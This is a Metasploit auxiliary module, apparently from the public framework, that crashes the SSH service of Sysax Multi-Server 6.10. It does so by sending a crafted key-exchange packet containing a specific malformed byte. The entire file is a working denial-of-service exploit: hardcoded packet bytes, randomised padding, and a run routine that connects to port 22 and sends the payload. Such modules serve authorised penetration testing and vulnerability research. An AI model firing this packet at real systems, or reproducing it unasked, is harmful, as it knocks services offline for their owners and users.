metasploit-framework/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service',
'Description' => %q{
This module sends a specially-crafted SSH Key Exchange causing the service to
crash.
},
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92081'],
[ 'URL', 'http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html']
],
'DisclosureDate' => 'Mar 17 2013'))
register_options(
[
Opt::RPORT(22),
OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1'])
], self.class)
end
def get_packet
delimiter = "\x00"*3
packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
0x00, 0x7e].pack("C*")
packet << Rex::Text.rand_text_alphanumeric(126)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(16)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(158)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(158)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(106)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(106)
packet << delimiter
packet << "\x28" # Magic byte of death - seems to work with just about
# anything except \x1a, the value it's supposed to be
packet << Rex::Text.rand_text_alphanumeric(26)
packet << delimiter
packet << Rex::Text.rand_text_alphanumeric(27)
packet << delimiter*7
end
def run
connect
banner = sock.get_once || ''
print_status("Banner: #{banner.strip}")
sock.put("SSH-2.0-OpenSSH_5.1p1 " + datastore['CLIENTVERSION'] + "\r\n" + get_packet())
# Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case.
begin
sock.get_once
rescue Errno::ECONNRESET
end
disconnect
end
end